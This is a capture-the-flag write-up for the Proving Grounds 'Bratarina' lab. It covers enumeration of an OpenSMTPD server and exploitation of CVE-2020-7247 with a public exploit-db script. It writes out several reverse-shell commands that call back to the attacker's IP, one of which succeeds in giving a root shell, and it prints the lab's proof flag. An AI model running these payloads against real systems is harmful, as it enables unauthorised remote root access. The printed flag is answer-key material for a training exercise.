britton@janet

Proving Grounds: Bratarina write up

Enumeration

sudo nmap -sCV -p- -T4 192.168.223.71

OpenSMTPD

Using netcat to validate SMTP users on a mail server

nc -nv 192.168.223.71 25                                                                    
(UNKNOWN) [192.168.223.71] 25 (smtp) open
220 bratarina ESMTP OpenSMTPD

Using telnet to connect to the smtp server

telnet 192.168.223.71 25

No info

Foothold

https://www.exploit-db.com/exploits/48038

OpenSMTPD RCE exploit

RCE???

searchsploit -m 47984.py

# Exploit Title: OpenSMTPD 6.6.1 - Remote Code Execution
# Date: 2020-01-29
# Exploit Author: 1F98D
# Original Author: Qualys Security Advisory
# Vendor Homepage: https://www.opensmtpd.org/
# Software Link: https://github.com/OpenSMTPD/OpenSMTPD/releases/tag/6.6.1p1
# Version: OpenSMTPD < 6.6.2
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2020-7247
# References:
# https://www.openwall.com/lists/oss-security/2020/01/28/3
#
# OpenSMTPD after commit a8e222352f and before version 6.6.2 does not adequately
# escape dangerous characters from user-controlled input. An attacker
# can exploit this to execute arbitrary shell commands on the target.
#
#!/usr/local/bin/python3

from socket import *
import sys
if len(sys.argv) != 4:
    print('Usage {} <target ip> <target port> <command>'.format(sys.argv[0]))
    print("E.g. {} 127.0.0.1 25 'touch /tmp/x'".format(sys.argv[0]))
    sys.exit(1)

It looks like we can use this to get a rev shell

python3 47984.py 192.168.223.71 25 'bash -i >& /dev/tcp/192.168.45.246/4444 0>&1'

python3 47984.py 192.168.223.71 25 'nc 192.168.45.246 4444 -e bash'

None work, could be an outbound connection blockage

So use port 80

python3 47984.py 192.168.223.71 25 'nc 192.168.45.246 80 -e bash' # nothin

# perhaps a base64 encoded bash shell?
┌──(kali㉿kali)-[~/offsec/proving_grounds/bratarina]
└─$ echo 'bash -i >& /dev/tcp/192.168.45.246/80 0>&1' | base64                                
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjI0Ni84MCAwPiYxCg==

python3 47984.py 192.168.223.71 25 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjI0Ni84MCAwPiYxCg==' # payload sent but no response

# perhaps a python payload?
python3 47984.py 192.168.223.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.246\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'

Worked!

┌──(kali㉿kali)-[~/offsec/proving_grounds/bratarina]
└─$ python3 47984.py 192.168.223.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.45.246\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] Done

┌──(kali㉿kali)-[~/offsec/proving_grounds/bratarina]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [192.168.45.246] from (UNKNOWN) [192.168.223.71] 58296
root@bratarina:~# whoami
whoami
root
root@bratarina:~# pwd
pwd
/root
root@bratarina:~# ls
ls
proof.txt
root@bratarina:~# cat proof.txt 
cat proof.txt
11bfb4b44a1e63fdaf74e29693352483
root@bratarina:~#

← all writeups